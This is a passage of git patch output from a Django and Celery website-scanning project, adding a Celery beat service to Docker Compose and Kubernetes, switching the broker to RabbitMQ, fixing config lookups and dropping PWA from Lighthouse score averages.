+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 36dece56..8c3df022 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -42,6 +42,14 @@ services:
       - "6379"
 
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -61,6 +69,27 @@ services:
       - db
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
new file mode 100644
index 00000000..5d18006e
--- /dev/null
+++ b/k8s/prod/beat-deployment.yaml
@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: beat-deployment
+  labels:
+    deployment: beat
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: beat-deployment
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        app: beat-deployment
+    spec:
+      imagePullSecrets:
+        - name: regcred
+      containers:
+        - name: beat
+          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          imagePullPolicy: Always
+          command: ["/remote-entrypoint.sh", "beat"]
+          resources:
+            limits:
+              cpu: ".5"
+              memory: "1Gi"
+            requests:
+              cpu: ".5"
+              memory: "1Gi"
+strategy: {}
+
+
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 976c4877..6cc20c79 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -19,3 +19,11 @@ then
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker --beat --scheduler django --loglevel=info
 fi
+
+# spin up celery beat in remote env
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
+fi
\ No newline at end of file
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 8c18f7ff..5dd468cf 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -8,12 +8,22 @@ then
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
   python3 manage.py driver_test &&
-  gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+  gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
 fi
 
 # spin up celery in remote env
 if [[ $1 == *"celery"* ]]
 then
+  python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --beat --scheduler django --loglevel=info
+  celery -A scanerr worker --loglevel=info
+fi
+
+
+# spin up celery beat in remote env
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
 fi

From 3339f14403d23ea342dd4b48374b58f3c818ab57 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:30:09 -0600
Subject: [PATCH 628/752] fixed file mismatch

---
 docker-compose.dev.yml  | 6 +++---
 docker-compose.prod.yml | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index eeb1c439..7700cc1a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -77,12 +77,12 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
-      - ./env/.env.local
+      - ./env/.env.dev
     depends_on:
       - celery
       - rabbitmq
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 8c3df022..8da181b4 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -76,12 +76,12 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
-      - ./env/.env.local
+      - ./env/.env.prod
     depends_on:
       - celery
       - rabbitmq

From aa95b64177ad94eae436213e18c3ca1c9a33331e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:35:46 -0600
Subject: [PATCH 629/752] adding default for browser in configs

---
 app/api/utils/caser.py   | 2 +-
 app/api/utils/scanner.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b3b3bf9a..fb405232 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -183,7 +183,7 @@ def run(self) -> None:
         
         # initate driver
         self.driver = driver_init(
-            browser=self.configs['browser'],
+            browser=self.configs.get[('browser', 'chrome'),
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 60eb69d7..4dbd2bb9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -75,14 +75,14 @@ def build_scan(self) -> object:
         
         # running scan steps with selenium driver
         driver = driver_init(
-            browser=self.scan.configs['browser'],
+            browser=self.scan.configs.get[('browser', 'chrome'),
             window_size=self.scan.configs['window_size'], 
             device=self.scan.configs['device']
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=self.scan.configs['browser'],
+            browser=self.scan.configs.get[('browser', 'chrome'),
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:
@@ -386,14 +386,14 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
         # get html and logs using selenium
         # init driver & get data
         driver = driver_init(
-            browser=scan.configs['browser'],
+            browser=scan.configs.get[('browser', 'chrome'),
             window_size=scan.configs['window_size'], 
             device=scan.configs['device']
         )
         driver.get(scan.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=scan.configs['browser'],
+            browser=scan.configs.get[('browser', 'chrome'),
             max_wait_time=int(scan.configs['max_wait_time']),
             min_wait_time=int(scan.configs['min_wait_time']),
             interval=int(scan.configs['interval'])

From f468365ab6045f4eeaea221e9fc26ad96b708d25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:39:26 -0600
Subject: [PATCH 630/752] fixed typo

---
 app/api/utils/caser.py   | 2 +-
 app/api/utils/scanner.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index fb405232..59508d53 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -183,7 +183,7 @@ def run(self) -> None:
         
         # initate driver
         self.driver = driver_init(
-            browser=self.configs.get[('browser', 'chrome'),
+            browser=self.configs.get('browser', 'chrome'),
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4dbd2bb9..dbbfbcab 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -75,14 +75,14 @@ def build_scan(self) -> object:
         
         # running scan steps with selenium driver
         driver = driver_init(
-            browser=self.scan.configs.get[('browser', 'chrome'),
+            browser=self.scan.configs.get('browser', 'chrome'),
             window_size=self.scan.configs['window_size'], 
             device=self.scan.configs['device']
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=self.scan.configs.get[('browser', 'chrome'),
+            browser=self.scan.configs.get('browser', 'chrome'),
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:
@@ -386,14 +386,14 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
         # get html and logs using selenium
         # init driver & get data
         driver = driver_init(
-            browser=scan.configs.get[('browser', 'chrome'),
+            browser=scan.configs.get('browser', 'chrome'),
             window_size=scan.configs['window_size'], 
             device=scan.configs['device']
         )
         driver.get(scan.page.page_url)
         driver_data = get_data(
             driver=driver,
-            browser=scan.configs.get[('browser', 'chrome'),
+            browser=scan.configs.get('browser', 'chrome'),
             max_wait_time=int(scan.configs['max_wait_time']),
             min_wait_time=int(scan.configs['min_wait_time']),
             interval=int(scan.configs['interval'])

From 8ce6b5027b78e4c0a06a8601036710a9a1bd3998 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:08:47 -0600
Subject: [PATCH 631/752] updated k8s-deploy for new beat-deployment.yaml

---
 .github/workflows/k8s-deploy.yaml | 18 ++++++++++++------
 k8s/prod/beat-deployment.yaml     |  3 +--
 notes/Kubernetes.md               |  1 +
 3 files changed, 14 insertions(+), 8 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 4863cb6e..11f97e30 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,5 +1,5 @@
-# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
-# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
+# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
 name: Deploy to scanerr-k8s
@@ -40,11 +40,10 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      # run: doctl registry login --expiry-seconds 1200
+    - name: Log in to Docker Hub Container Registry with short-lived credentialse
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to DigitalOcean Container Registry
+    - name: Push image to Docker Hub Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
@@ -54,16 +53,23 @@ jobs:
     - name: Update celery deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
+    - name: Update beat deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-    # Re-deploy app and Celery
+    # Re-deploy app, celery and beat
     - name: Deploy app
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     - name: Deploy celery 
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Deploy beat 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
     - name: Verify app
       run: kubectl rollout status deployment/app-deployment
     - name: Verify celery
       run: kubectl rollout status deployment/celery-deployment
+    - name: Verify beat
+      run: kubectl rollout status deployment/beat-deployment
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 5d18006e..54f5b82c 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:bf1dab1 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "beat"]
           resources:
@@ -29,6 +29,5 @@ spec:
             requests:
               cpu: ".5"
               memory: "1Gi"
-strategy: {}
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index d836b77c..062b2ec1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -125,6 +125,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f ./k8s/prod/app-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/beat-deployment.yaml`
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler

From 96d7983da30225d669445bca3c1dd55cf1c72fb9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:16:35 -0600
Subject: [PATCH 632/752] added app-configs

---
 k8s/prod/beat-deployment.yaml | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 54f5b82c..f1dea922 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,9 +19,12 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image:  <IMAGE> # scanerr/server:bf1dab1 # 
+          image: <IMAGE> # scanerr/server:bf1dab1 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "beat"]
+          envFrom:
+            - configMapRef:
+                name: app-configs
           resources:
             limits:
               cpu: ".5"

From c3d3887ac918e233f9e9f572c769e01f49a80df6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:39:04 -0600
Subject: [PATCH 633/752] testing with rabbbitmq

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ae8f36da..b64bec0d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-# CELERY_BROKER_URL = "amqp://rabbitmq"
+CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type

From a3b451131f66d3640ba9817ae82be1a44ab08ae5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 13:39:18 -0600
Subject: [PATCH 634/752] updating scripts

---
 setup/scripts/local-entrypoint.sh  | 5 +++--
 setup/scripts/remote-entrypoint.sh | 4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 6cc20c79..3892d1e4 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --beat --scheduler django --loglevel=info
+  celery -A scanerr worker --loglevel=info
 fi
 
 # spin up celery beat in remote env
@@ -26,4 +26,5 @@ then
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info
-fi
\ No newline at end of file
+fi
+
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 5dd468cf..62201f82 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -3,7 +3,8 @@
 # spin up app in remote env
 if [[ $1 == *"app"* ]]
 then 
-  python3 manage.py wait_for_db && python3 manage.py makemigrations  --no-input &&
+  python3 manage.py wait_for_db && 
+  python3 manage.py makemigrations  --no-input &&
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
@@ -19,7 +20,6 @@ then
   celery -A scanerr worker --loglevel=info
 fi
 
-
 # spin up celery beat in remote env
 if [[ $1 == *"beat"* ]]
 then

From 4767ab78bfbf56d6d6c07ae2b634f5bdd38414e4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 14:13:40 -0600
Subject: [PATCH 635/752] testing new configs for celery

---
 app/scanerr/celery.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index c0dd8155..e194b19a 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -17,6 +17,14 @@
 # configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
 
+# celery and beat configs
+app.conf.update(
+    task_acks_late=True,
+    worker_prefetch_multiplier=1,
+    worker_hijack_root_logger=False,
+    task_always_eager=False,
+)
+
 # setting tasks to auto-discover
 app.autodiscover_tasks()
 

From 2d5d4ba96f3fdeb6c6d0a24916f91aaa2f8c64d4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 08:21:15 -0600
Subject: [PATCH 636/752] updated entrypoint scripts for best practices with 
 k8 deployment

---
 setup/scripts/local-entrypoint.sh  | 2 +-
 setup/scripts/remote-entrypoint.sh | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 3892d1e4..c6e5669e 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --loglevel=info
+  celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat in remote env
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 62201f82..c11229a2 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker --loglevel=info
+  celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat in remote env

From 7d37dbf76daef6445383e4049ce5bcb7fa5b4373 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 09:49:52 -0600
Subject: [PATCH 637/752] fixing LH issues and removing PWA from LH scores /
 audits

---
 Dockerfile                     |  2 +-
 app/api/models.py              |  6 +--
 app/api/utils/custom-config.js |  2 +-
 app/api/utils/lighthouse.py    |  4 +-
 app/api/utils/tester.py        | 75 ++++++++++++++++++----------------
 5 files changed, 47 insertions(+), 42 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index dffd7371..6148fe0b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -43,7 +43,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # installing lighthouse
-RUN npm install -g lighthouse@11.7.1 lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
diff --git a/app/api/models.py b/app/api/models.py
index 5a4f661d..3620dc69 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -28,7 +28,7 @@ def get_info_default():
             'lighthouse': {
                 'average': None,
                 'seo': None,
-                'pwa': None, 
+                # 'pwa': None, 
                 'crux': None, 
                 'performance': None, 
                 'accessibility': None, 
@@ -89,7 +89,7 @@ def get_lh_delta_default():
             "performance_delta": None, 
             "accessibility_delta": None, 
             "best-practices_delta": None,
-            "pwa_delta": None, 
+            # "pwa_delta": None, 
             "crux_delta": None,
             "average_delta" : None,
             "current_average": None, 
@@ -130,7 +130,7 @@ def get_lh_default():
             "performance": None, 
             "accessibility": None, 
             "best_practices": None,
-            "pwa": None, 
+            # "pwa": None, 
             "crux": None, 
             "average": None
        },
diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js
index a51b1005..a4fadfce 100644
--- a/app/api/utils/custom-config.js
+++ b/app/api/utils/custom-config.js
@@ -5,7 +5,7 @@ module.exports = {
   settings: {
     cruxToken: process.env.GOOGLE_CRUX_KEY,
     skipAudits: [
-      "full-page-screenshot",
+      // "full-page-screenshot",
     ],
   },
 }
\ No newline at end of file
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 301df274..dbcca330 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -30,7 +30,7 @@ def __init__(self, scan=None):
             "accessibility": None,
             "performance": None,
             "best_practices": None,
-            "pwa": None,
+            # "pwa": None,
             "crux": None,
             "average": None
         }
@@ -41,7 +41,7 @@ def __init__(self, scan=None):
             "accessibility": [],
             "performance": [],
             "best_practices": [],
-            "pwa": [],
+            # "pwa": [],
             "crux": []
         }
 
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 99f28756..f40d7913 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -349,14 +349,14 @@ def delta_lighthouse(self) -> dict:
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
-            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
+            # pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
             
             # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
-            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
+            # post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
 
             # try to get pre and post crux scores
             try:
@@ -373,27 +373,27 @@ def delta_lighthouse(self) -> dict:
             accessibility_delta = post_accessibility - pre_accessibility 
             performance_delta = post_performance - pre_performance
             best_practices_delta = post_best_practices - pre_best_practices
-            pwa_delta = post_pwa - pre_pwa
+            # pwa_delta = post_pwa - pre_pwa
             
             # calculate averages 
             if post_crux is None:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
-                    post_performance + post_pwa 
-                )/5
+                    post_performance # + post_pwa 
+                )/4
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
-                    pre_performance + pre_pwa 
-                )/5
+                    pre_performance # + pre_pwa 
+                )/4
             else:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
-                    post_performance + post_pwa + post_crux
-                )/6
+                    post_performance + post_crux # + post_pwa
+                )/5
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
-                    pre_performance + pre_pwa + pre_crux
-                )/6
+                    pre_performance  + pre_crux # + pre_pwa
+                )/5
 
             # calculate difference in averages
             average_delta = current_average - old_average 
@@ -403,7 +403,7 @@ def delta_lighthouse(self) -> dict:
             accessibility_delta = None 
             performance_delta = None
             best_practices_delta = None
-            pwa_delta = None
+            # pwa_delta = None
             crux_delta = None
             current_average = None
             average_delta = None
@@ -415,7 +415,7 @@ def delta_lighthouse(self) -> dict:
                 "accessibility_delta": accessibility_delta,
                 "performance_delta": performance_delta,
                 "best_practices_delta": best_practices_delta,
-                "pwa_delta": pwa_delta,
+                # "pwa_delta": pwa_delta,
                 "crux_delta": crux_delta,
                 "current_average": current_average,
                 "average_delta": average_delta,
@@ -560,8 +560,6 @@ def get_lh_audits_deltas(self, scores: dict) -> str:
         # save data at .json in s3
         lh_audit_file_uri = self.save_data_to_s3(_data=audits)
 
-        print(f'LH audit deltas -> {lh_audit_file_uri}')
-
         # return uri
         return lh_audit_file_uri
 
@@ -786,6 +784,9 @@ def run_test(self, index: int=None) -> object:
                 print(f'html_delta => {html_delta_uri}')
 
             except Exception as e:
+                micro_diff_w = 0
+                num_html_w = 0
+                micro_diff_w = 0
                 print(e)
         
         # testing logs
@@ -806,31 +807,33 @@ def run_test(self, index: int=None) -> object:
                     "post_logs_delta": delta_logs_data['delta_logs_post'],
                 }
             except Exception as e:
+                logs_score_w = 0
                 print(e)
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            # try:
+            try:
             # scores & data
-            lighthouse_data = self.delta_lighthouse()
-            lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
-            lighthouse_data['audits'] = lh_audits_uri
-            lighthouse_avg = lighthouse_data['scores']['average_delta']
-            if lighthouse_avg != None and lighthouse_avg > -100:
-                lighthouse_score = (100 + lighthouse_avg)/100
-            if lighthouse_avg != None and lighthouse_avg <= -100:
-                lighthouse_score = 0
-
-            # weights
-            if lighthouse_score == None:
+                lighthouse_data = self.delta_lighthouse()
+                lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
+                lighthouse_data['audits'] = lh_audits_uri
+                lighthouse_avg = lighthouse_data['scores']['average_delta']
+                if lighthouse_avg != None and lighthouse_avg > -100:
+                    lighthouse_score = (100 + lighthouse_avg)/100
+                if lighthouse_avg != None and lighthouse_avg <= -100:
+                    lighthouse_score = 0
+
+                # weights
+                if lighthouse_score == None:
+                    delta_lh_w = 0
+                elif lighthouse_score > 1:
+                    delta_lh_w = 1
+                    lighthouse_score = 1
+                else:
+                    delta_lh_w = 1
+            except Exception as e:
                 delta_lh_w = 0
-            elif lighthouse_score > 1:
-                delta_lh_w = 1
-                lighthouse_score = 1
-            else:
-                delta_lh_w = 1
-            # except Exception as e:
-            #     print(e)
+                print(e)
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -854,6 +857,7 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
+                delta_yl_w = 0
                 print(e)
 
         # testing images
@@ -867,7 +871,8 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                    print(e)
+                images_w = 0
+                print(e)
         
         # calculating total weight
         total_w = (

From aa46e2b36324841150785f000c7ac2c4fdc83006 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 12:43:04 -0600
Subject: [PATCH 638/752] adding resource usage monitoring

---
 app/api/models.py              |  14 ++++
 app/api/tasks.py               |  21 +++++
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/auth/services.py    |  34 +++++++-
 app/api/v1/billing/services.py | 105 ++++++++++++++++++++++---
 app/api/v1/ops/services.py     | 138 ++++++++++++++++++++++++++++-----
 6 files changed, 284 insertions(+), 30 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 3620dc69..5d6f6312 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -259,6 +259,19 @@ def get_default_configs():
 
 
 
+def get_usage_default():
+    usage = {
+        'scans': 0,
+        'tests': 0,
+        'testcases': 0,
+        'scans_allowed': 30, 
+        'tests_allowed': 30, 
+        'testcases_allowed': 15,
+    }
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -279,6 +292,7 @@ class Account(models.Model):
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
+    usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
     meta = models.JSONField(serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 637c8499..b56fe628 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -14,6 +14,7 @@
     _yellowlab
 )
 from .utils.alerts import send_invite_link, send_remove_alert
+from .v1.billing.services import reset_account_usage
 from .models import *
